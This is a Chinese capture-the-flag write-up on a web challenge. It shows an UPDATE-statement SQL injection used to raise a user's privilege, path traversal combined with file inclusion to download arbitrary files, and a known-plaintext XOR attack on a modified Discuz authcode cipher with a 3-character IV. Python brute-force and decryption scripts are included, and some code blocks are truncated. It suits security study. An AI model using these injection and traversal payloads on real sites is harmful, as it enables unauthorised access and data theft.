三个白帽挑战之我是李雷雷我在寻找韩梅梅系列3--writeup
user.php可以修改资料,测试了一下sex字段可以注入,本地测试发现update注入又这样的特性
#!phpupdate users set sex=[injection_here] where id = 1;
这个语句中[injection_here]部分,如果插入的是一个字段的名称,若这个字段存在,那么返回1,否则返回0.经过http参数传入的都是字符串,除非特别要求不会转换为数字,这里性别是用0和1表示的恰好符合这个条件。不过测试了好久没有结果。第二天出了第一个hint,按照页面提示操作。访问admin.php,发现
#!bashYour power is too low.
所以构造
#!phpupdate users set sex=1,power=1 where id = 1;
出现了文件管理选项,点进去发现有两个文件。test.php,welcome.php,随便点个文件发现是个下载的功能,文件是http://url/file/download.php,显然要在这里做文章,发现可以下载本目录下的文件,但是不能下载download.php,也不能下载别的目录的文件,检测到连续的两个小数点或者出现了斜杠都会提示非法操作,这就很尴尬了。
仔细看了看所有可以控制的参数,发现admin.php的m参数是这样的
#!htmlhttp://url/admin.php?m=filemanager
猜测这里存在任意文件读取,不过和admin.php不在同一个目录, 也不知道这个当前目录名称是什么,于是不管当前目录名称,直接跨。
#!htmlhttp://url/admin.php?m=../index
经过截断是失效的
不过真的返回首页了,那么一处可以下载当前目录的文件,一处可以包含任意的php文件,两处结合可以出现什么样的火花呢?
猜测download.php的源代码
download.php
#!php
admin.php(这个后来下载下来的,直接粘帖过来。。)
#!php
这样的话,我们只需要把download.php给包含进去,就能改变目录限制啦~最终payload
#!htmlhttp://url/admin.php?m=../file/download&f=admin.php
可以看到直接下载下来了。。
后来给了hint3,下载flag.php(实际上看到群里有人讨论了一下。。猜到了这个文件,后来还是hint了),于是下载下来看
#!php
authcode.php
#!php 0 验证数据有效性 // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性 // 验证数据有效性,请看未加密明文的格式 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因 // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码 return $keyc.str_replace('=', '', base64_encode($result)); } }?>
至于common.php,因为无法跨过这个目录限制,只能包含进去,而没办法下载下来,显而易见key就在common.php里,直接给也没意思了,想办法解。
这个密码簿形成很复杂我也勉强看看,发现keya和keyb都基本拿不到,keyc可以发现和时间有关,是当前时间戳的sha256的前三个字符,而解密也用到了keyc,那么keyc必定被包含在密文中,否则无法解密,通读代码发现最后密文确实拼接了keyc的前三位,这是唯一的突破口。
google了一下discuz authcode 缺陷,发现有人指出这个实现的流密码的IV部分太短了,只有四位。而题目给的这个修改版更是只有3位,那么想办法爆破出来就行了,因为keya和keyb都是固定的,生成密码簿只需要做到keya,keyb,keyc都相同就能生成相同的密码簿,注意到之前下载的test.php的内容
#!php
提供了一组明文,那么不断的访问这个页面就可以得到密文,爆破前三位,当前三位相同的时候流密码所使用的key也就相同了,以下是简单的爆破脚本
web.py
#!pythonimport requestsurl1 = 'http://408ffe393d342329a.jie.sangebaimao.com/file/test.php'url2 = 'http://408ffe393d342329a.jie.sangebaimao.com/index.php'url3 = 'http://408ffe393d342329a.jie.sangebaimao.com/user.php's = requests.session()data = {'username':'admin','password':'admin','submit':'login'}res=s.post(url2,data=data);c=s.get(url1)while c.content[0:3]!='4da': c=s.get(url1) print c.content[0:3]print c.content
因为只有三位大概三四分钟就爆破出来一个符合条件的密文。回头看看authcode.php中加密函数的关键内容。
#!phpfor($a = $j = $i = 0; $i可见,密文(这里还没把keyc拼接上去)的每一个字符都是通过一次xor运算得到的。而xor的另一个操作数是固定不变的。那么通过两次xor就能解出明文了。但是这样还不行,我们再分析一下密文的构成。
#!php$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; return $keyc.str_replace('=', '', base64_encode($result));所以目标就很明确喽,获得的密文,前三位是动态密钥,接着26位如果密钥相同也就是固定不变的,真正的密文从第29位开始,我这里去掉了密文的前三位,补全了等号,再做的解密。
exp.py
#!pythonimport base64flagcode='1JE+SVphprnaoZJlJTsXKmi+hkEFTlkrbShMA6Uq5npWavTX8vFAh3yGYDf6OcbZePTLJIT+rB2sHzmPO2tuVQ=='testcode='1JE+SVphprnaoZMwdTdAfTy5hRlRHlspMHwQWPdxqCgEY/nV4uAQwTCcJjyge8HOK6eYL9/28l61TX/dNzAIf3R7wDnRqqFsj5chZoMsnjjvy1UbpdRiEg=='test='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'testcode_b64decode=base64.b64decode(testcode)[26:]flagcode_b64decode=base64.b64decode(flagcode)[26:]flag=''for i in range(0,len(flagcode_b64decode)): flag+=chr(ord(flagcode_b64decode[i])^(ord(testcode_b64decode[i])^ord(test[i])))print flag得到flag
#!bashmiao{de142af548c3b52fd754c1c29a100b67}
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